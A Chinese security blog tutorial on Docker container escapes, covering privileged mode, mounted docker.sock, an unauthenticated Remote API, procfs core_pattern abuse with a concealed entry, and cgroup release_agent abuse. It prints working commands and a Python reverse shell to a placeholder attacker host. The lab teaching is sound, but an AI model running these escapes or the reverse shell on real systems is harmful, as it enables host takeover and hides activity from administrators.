暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

docker学习之可可带你学逃逸(一)

天命团队 2022-05-19
1886

docker逃逸

docker容器可以理解为主机上的一个进程,而虚拟机则是与主机完全隔离的

Docker 主要是基于 Namespace、cgroups 和联合文件系统这三大核心技术实现的,在介绍攻击方法之前,先来了解一下docker特有的几个技术

Namespaces

在docker容器中所用的环境都是相互独立的,主要通过linux内核特性Namespaces来实现,将每个容器的进程id、主机名、用户、网络等资源进行隔离

docker则使用了以下的六种Namespace

Namespace名称作用
Mount(mnt)隔离挂载点
Process ID (pid)隔离进程 ID
Network (net)隔离网络设备,端口号等
Interprocess Communication (ipc)隔离 System V IPC 和 POSIX message queues
UTS Namespace(uts)隔离主机名和域名
User Namespace (user)隔离用户和用户组

通常我们可以使用unshare、clone等linux命令进行Namespace的调用,在创建docker时,会对应创建以上六种Namespace,实现docker的隔离

Cgroups

在docker容器中,环境虽然是隔离的,但用的仍是主机的cpu与内存,那么就需要对docker容器内对应的内存进行控制,主要通过Cgroups来进行限制

在docker启动的过程中会生成以container id为名字的目录,根据docker构建时memory等参数,对相应的cgroups文件进行相应的配置进而限制资源

overlayFS

Docker 中最常用的联合文件系统有三种:AUFS、Devicemapper 和 OverlayFS

针对于overlayFS分为两个阶段:overlay与overlay2,overlay2相较于更加稳定,使用也更加普遍

overlay2将镜像层和容器层都放在单独的目录,并且有唯一 ID,每一层仅存储发生变化的文件,最终使用联合挂载技术将容器层和镜像层的所有文件统一挂载到容器中,使得容器中看到完整的系统文件。

在进行docker逃逸前要先确定自己是否在docker容器当中,提供两种方法:

1.检查/.dockerenv
文件是否存在;2.检查/proc/1/cgroup
内是否包含"docker"等字符串;

容器配置不当导致docker逃逸

1.使用了--privileged特权模式

docker run  -it --privileged --name=docker_escape ubuntu:latest /bin/bash

复制

在容器中时可以通过如下参数检测当前容器是否是以特权模式启动

root@f5ac4ef7ecf9:/# cat /proc/self/status | grep CapEff
CapEff: 0000003fffffffff

复制

在linux中通过Capabilities机制对用户权限进行细致区分,一个线程拥有五个Capabilities集合Permitted
Inheritable
Effective
Bounding
Ambient
分别对应了/proc/self/status
中的CapPrm
CapInh
CapEff
CapBnd
CapAmb
Effective
集合就是主要的当前线程特权操作权限(Capabilities)的集合,所以当CapEff
值为0000003fffffffff
时就表明我们当前是特权模式

在特权模式下,容器拥有所有权利,包括宿主机的一些内核特性和设备访问等

所以在特权模式下,我们可以通过mount目录挂载至主机的硬盘内,让目录成为设备的访问点,实现文件系统层面的逃逸

root@bc40aaf8a89b:/# fdisk -l | grep /dev/sda
Disk /dev/sda: 20 GiB, 21474836480 bytes, 41943040 sectors
/dev/sda1  *     2048 41940991 41938944  20G 83 Linux
root@bc40aaf8a89b:/# mkdir vigorous
root@bc40aaf8a89b:/# mount /dev/sda1 /vigorous
root@bc40aaf8a89b:/# ls
bin  boot  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  vigorous
root@bc40aaf8a89b:/# cd vigorous/
root@bc40aaf8a89b:/vigorous# ls
bin  boot  cdrom  dev  etc  home  initrd.img  initrd.img.old  lib  lib64  lost+found  media  mnt  opt  proc  root  run  sbin  snap  srv  swapfile  sys  tmp  usr  var  vmlinuz  vmlinuz.old

复制

2.挂载docker.sock文件

docker run  -it -v /var/run/docker.sock:/var/run/docker.sock --name=docker_escape ubuntu:latest /bin/bash

复制

docker是C/S架构,输入docker version
命令实际上是通过客户端将请求发送到同一台电脑上的Doceker Daemon服务,由Docker Daemon返回信息,客户端收到信息后展示在控制台上。

Doceker Daemon
默认监听的是/var/run/docker.sock
这个文件,所以docker客户端只要把请求发往这里,daemon就能收到并且做出响应。也就是向/var/run/docker.sock
发送请求,也能达到docker ps
docker images ls
这样的效果。

当创建的容器中挂载了docker.sock文件,也就意味着我们可以在容器就拥有了宿主机的权限,可以执行任意docker相关命令

先判断容器是否挂载了docker.sock,以及挂载目录

root@0bafdd91a3d1:/# ls /var/run/ | grep docker.sock
docker.sock
root@0bafdd91a3d1:/# find / -name docker.sock
/run/docker.sock

复制

首先在容器中安装docker命令,并执行docker ps命令,发现与主机效果相同,证明存在docker.sock文件挂载

root@3a489698b9d7:/docker# history
    1  sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list
    2  apt update&& apt install -y wget
    3  curl
    4  wget https://download.docker.com/linux/static/stable/x86_64/docker-17.03.0-ce.tgz
    5  tar xf ./docker-17.03.0-ce.tgz
    6  cd /docker
    7  ls
    8  ./docker ps

复制

再重新启动一个容器,配置挂载特权目录实现逃逸

root@3a489698b9d7:/docker# ./docker run -it -v /:/host --privileged --name=sock-test ubuntu /bin/bash
root@227d30540aa3:/# ls
bin  boot  dev  etc  home  host  lib  lib32  lib64  libx32  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var
root@227d30540aa3:/# cd host/
root@227d30540aa3:/host# ls
bin   cdrom  etc   initrd.img      lib    lost+found  mnt  proc  run   snap  swapfile  tmp  var      vmlinuz.old
boot  dev    home  initrd.img.old  lib64  media       opt  root  sbin  srv   sys       usr  vmlinuz
root@227d30540aa3:/host# cd home/vigorous/
root@227d30540aa3:/host/home/vigorous# ls
 metarget                      ''$'\345\205\254\345\205\261\347\232\204'  ''$'\346\226\207\346\241\243'  ''$'\346\250\241\346\235\277'  ''$'\351\237\263\344\271\220'
''$'\344\270\213\350\275\275'  ''$'\345\233\276\347\211\207'              ''$'\346\241\214\351\235\242'  ''$'\350\247\206\351\242\221'

复制

3.Docker Remote API未授权

此环境使用了vulhub上的镜像文件

Docker Remote API 是一个取代远程命令行界面的REST API,docker swarm是docker下的分布化应用的本地集群,在开放2375监听集群容器时,会调用这个api,因为权限控制等问题导致可以通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell

当我们访问/version时会出现docker版本等信息

证明漏洞的存在,现在就可以利用这个接口来执行docker的相关命令了

[root@localhost ~]# docker -H tcp://10.104.4.9:2375 ps
CONTAINER ID   IMAGE     COMMAND   CREATED   STATUS    PORTS     NAMES
[root@localhost ~]# docker -H tcp://10.104.4.9:2375 images
REPOSITORY   TAG       IMAGE ID       CREATED       SIZE

复制

在docker内部没有任何的镜像,我们需要拉去一个镜像,再创建特权目录的容器进行简单逃逸

[root@localhost ~]# docker -H tcp://10.104.4.9:2375 images
REPOSITORY   TAG       IMAGE ID       CREATED       SIZE
alpine       latest    0ac33e5f5afa   5 weeks ago   5.57MB
[root@localhost ~]# docker -H tcp://10.104.4.9:2375 run -it --privileged alpine  /bin/sh
# fdisk -l | grep "dev"
Disk /dev/vda: 50 GB, 53687091200 bytes, 104857600 sectors
/dev/vda1 *  0,32,33     130,170,40        2048    2099199    2097152 1024M 83 Linux
/dev/vda2    130,170,41  1023,254,63    2099200  104857599  102758400 48.9G 8e Linux LVM
Disk /dev/dm-0: 47 GB, 50457477120 bytes, 98549760 sectors
Disk /dev/dm-0 doesn't contain a valid partition table
Disk /dev/dm-1: 2048 MB, 2147483648 bytes, 4194304 sectors
Disk /dev/dm-1 doesn'
t contain a valid partition table
# mkdir vigorous
# mount /dev/dm-0 /vigorous
# ls
bin       etc       lib       mnt       proc      run       srv       tmp       var
dev       home      media     opt       root      sbin      sys       usr       vigorous
# cd vigorous/
/vigorous # ls
bin    boot   dev    etc    home   lib    lib64  media  mnt    opt    proc   root   run    sbin   srv    sys    tmp    usr    var
/vigorous # cd root/
/vigorous/root # ls
1.py               Python-3.8.11      Python-3.8.11.tgz  anaconda-ks.cfg    vulhub

复制

4.挂载procfs文件(proc file system)

docker run  -it -v /proc:/etc_proc --name=docker_escape4 ubuntu:latest /bin/bash

复制

linux中的/proc
目录是一个伪文件系统,其中动态反应着系统内进程以及其他组件的状态,其中包含许多的敏感文件,其中/proc/sys/kernel/core_pattern
文件是负责进程奔溃时内存数据转储的,当第一个字符是|
管道符时,后面的的部分会以命令行的方式进行解析并运行

先判断容器是否挂载了procfs文件

root@de8e530b1785:/# find / -name core_pattern 2>/dev/null 
/proc/sys/kernel/core_pattern
/etc_proc/sys/kernel/core_pattern

复制

由于是以宿主机上的权限运行的,因此工作的路径则是docker目录的路径,那么首先就要获取docker的work目录

root@8ba918290061:/# cat /proc/mounts | grep docker
overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/VW2KKRKAM3I23KIAJR5VLZ3AQA:/var/lib/docker/overlay2/l/OKSGOMHL2ZMXVTNUDGI6KQUFYS,upperdir=/var/lib/docker/overlay2/71a4faa005bfece846be90d7c084de38868843630109dbc282eb8b79070c2561/diff,workdir=/var/lib/docker/overlay2/71a4faa005bfece846be90d7c084de38868843630109dbc282eb8b79070c2561/work 0 0

复制

将我们要运行的命令写进/proc/sys/kernel/core_pattern
文件中

root@8ba918290061:/# echo -e "|/var/lib/docker/overlay2/71a4faa005bfece846be90d7c084de38868843630109dbc282eb8b79070c2561/merged/tmp/.x.py \rcore           " > /etc_proc/sys/kernel/core_pattern

复制

其中\r
是为了管理员通过cat
命令查看内容时隐蔽我们写入恶意命令

编写反弹shell的文件,并赋予执行权限

root@8ba918290061:/# cat >/tmp/.x.py << EOF
#!/usr/bin/python
> import os
> import pty
> import socket
> lhost = "attack_ip"
> lport = 10000
> def main():
>     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>     s.connect((lhost, lport))
>     os.dup2(s.fileno(), 0)
>     os.dup2(s.fileno(), 1)
>     os.dup2(s.fileno(), 2)
>     os.putenv("HISTFILE"'/dev/null')
>     pty.spawn("/bin/bash")
>     os.remove('/tmp/.x.py')
>     s.close()
if __name__ == "__main__":
>     main()
> EOF
root@8ba918290061:/
root@8ba918290061:/# chmod +x /tmp/.x.py

复制

编写存在崩溃的程序,编译后执行

#include<stdio.h>
int main(void)  {
   int *a  = NULL;
   *a = 1;
   return 0;
}

复制

在攻击机上选择相应端口监听即可反弹shell

5.SYS_ADMIN权限滥用

docker run  -it --cap-add SYS_ADMIN --security-opt apparmor=unconfined --name=docker_escape1 ubuntu:latest /bin/bash

复制

在赋予sys_admin
权限的同时,需要关掉安全组apparmor设置,才可以进行相应条件利用,赋予的sys_admin
权限可以执行mount
等操作

在前面的内容中提到过cgroup是linux内核中负责管理资源分配的机制,可以通过mount -t cgroup看到系统cgroup的挂载情况

具体观察在cgroup中具体的文件,其中包含许多的子系统

root@vigorous-virtual-machine:/sys/fs/cgroup# ls -ls
总用量 0
0 dr-xr-xr-x 5 root root  0 5月  11 11:44 blkio
0 lrwxrwxrwx 1 root root 11 5月  11 11:44 cpu -> cpu,cpuacct
0 lrwxrwxrwx 1 root root 11 5月  11 11:44 cpuacct -> cpu,cpuacct
0 dr-xr-xr-x 5 root root  0 5月  11 11:44 cpu,cpuacct
0 dr-xr-xr-x 3 root root  0 5月  11 11:44 cpuset
0 dr-xr-xr-x 5 root root  0 5月  11 11:44 devices
0 dr-xr-xr-x 6 root root  0 5月  11 11:44 freezer
0 dr-xr-xr-x 3 root root  0 5月  11 11:44 hugetlb
0 dr-xr-xr-x 5 root root  0 5月  11 11:44 memory
0 lrwxrwxrwx 1 root root 16 5月  11 11:44 net_cls -> net_cls,net_prio
0 dr-xr-xr-x 3 root root  0 5月  11 11:44 net_cls,net_prio
0 lrwxrwxrwx 1 root root 16 5月  11 11:44 net_prio -> net_cls,net_prio
0 dr-xr-xr-x 3 root root  0 5月  11 11:44 perf_event
0 dr-xr-xr-x 5 root root  0 5月  11 11:44 pids
0 dr-xr-xr-x 3 root root  0 5月  18 12:09 rdma
0 dr-xr-xr-x 6 root root  0 5月  11 11:44 systemd
0 dr-xr-xr-x 5 root root  0 5月  11 11:44 unified

复制

以devices为例,其中cgroup.procs
notify_on_release
tasks
文件与我们讨论的逃逸问题息息相关

root@vigorous-virtual-machine:/sys/fs/cgroup/devices# ls -ls
总用量 0
0 -rw-r--r--  1 root root 0 5月  18 17:54 cgroup.clone_children
0 -rw-r--r--  1 root root 0 5月  11 14:22 cgroup.procs
0 -r--r--r--  1 root root 0 5月  18 17:54 cgroup.sane_behavior
0 --w-------  1 root root 0 5月  18 17:54 devices.allow
0 --w-------  1 root root 0 5月  18 17:54 devices.deny
0 -r--r--r--  1 root root 0 5月  18 17:54 devices.list
0 drwxr-xr-x  4 root root 0 5月  17 09:48 docker
0 -rw-r--r--  1 root root 0 5月  18 17:54 notify_on_release
0 -rw-r--r--  1 root root 0 5月  18 17:54 release_agent
0 drwxr-xr-x 84 root root 0 5月  11 14:26 system.slice
0 -rw-r--r--  1 root root 0 5月  18 17:54 tasks
0 drwxr-xr-x  2 root root 0 5月  11 14:22 user.slice

复制

cgroup.procs
文件主要记录线程组id。当某个线程组id被记录到此文件后,就表示与此线程相关的所有线程都被加入到改cgroup中

tasks
文件主要记录线程id。如果该线程的线程组与其不在同一个cgroup中,那会在cgroup.procs
有所记录

notify_on_release
文件表示是否在cgroup中最后一个任务退出时运行release agent,默认情况下是0,表示不运行;如果notify_on_release
的值被设置为1,cgroup下所有task结束的时候,那么内核就会运行root cgroup下release_agent
文件中的对应路径的文件

所以在逃逸是第一步我们需要将cgroup进行挂载

root@4706584ff818:/# mkdir /tmp/vigorous
root@4706584ff818:/# mount -t cgroup -o memory cgroup /tmp/vigorous  (-t指定挂载的类型 -o指定挂载的选项)

复制

接着我们在挂载的目录下再创建一个子进程,主要攻击目标应在子进程内,因为攻击的过程需要将cgroup下所有的task清除,所以在同样环境的子进程内进行更加合理安全

root@4706584ff818:/tmp/vigorous# mkdir /tmp/vigorous/x

复制

第二步就需要我们设置notify_on_release
文件内容为1,设置release_agent
文件的对应路径为宿主机的可写目录upperdir

root@8f17c7063d3a:/tmp/vigorous# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
root@8f17c7063d3a:/tmp/vigorous# echo "$host_path/cmd" > /tmp/vigorous/release_agent

复制

编写shell文件

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd

复制

清除cgroup.procs中进程,触发cmd文件执行

root@8f17c7063d3a:/# sh -c "echo \$\$ > /tmp/vigorous/x/cgroup.procs"
root@8f17c7063d3a:/# ls
bin  boot  cmd  dev  etc  home  lib  lib32  lib64  libx32  media  mnt  opt  output  proc  root  run  sbin  srv  sys  tmp  usr  var
root@8f17c7063d3a:/# cat /output 
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          1  0.0  0.2 225652  5948 ?        Ss   May16   0:23 /lib/systemd/systemd --system --deserialize 19
root          2  0.0  0.0      0     0 ?        S    May16   0:00 [kthreadd]
root          4  0.0  0.0      0     0 ?        I<   May16   0:00 [kworker/0:0H]
root          6  0.0  0.0      0     0 ?        I<   May16   0:00 [mm_percpu_wq]
root          7  0.0  0.0      0     0 ?        S    May16   0:13 [ksoftirqd/0]
root          8  0.0  0.0      0     0 ?        I    May16   0:15 [rcu_sched]
root          9  0.0  0.0      0     0 ?        I    May16   0:00 [rcu_bh]
root         10  0.0  0.0      0     0 ?        S    May16   0:00 [migration/0]
root         11  0.0  0.0      0     0 ?        S    May16   0:00 [watchdog/0]
root         12  0.0  0.0      0     0 ?        S    May16   0:00 [cpuhp/0]
root         13  0.0  0.0      0     0 ?        S    May16   0:00 [kdevtmpfs]

复制

该命令启动一个sh进程,将sh进程的PID写入到/tmp/vigorous/x/cgroup.procs里,这里的\$\$
表示sh进程的PID。

在执行完sh -c
之后,sh进程自动退出,这样cgroup /tmp/vigorous/x
里不再包含任何任务,/tmp/vigorous/release_agent
文件里的shell将被操作系统内核执行

reference

https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/

https://f5.pm/go-60440.html

https://lifeve.cn/WxLs2mTatuvgjd.html

https://github.com/Metarget/metarget


文章转载自天命团队,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论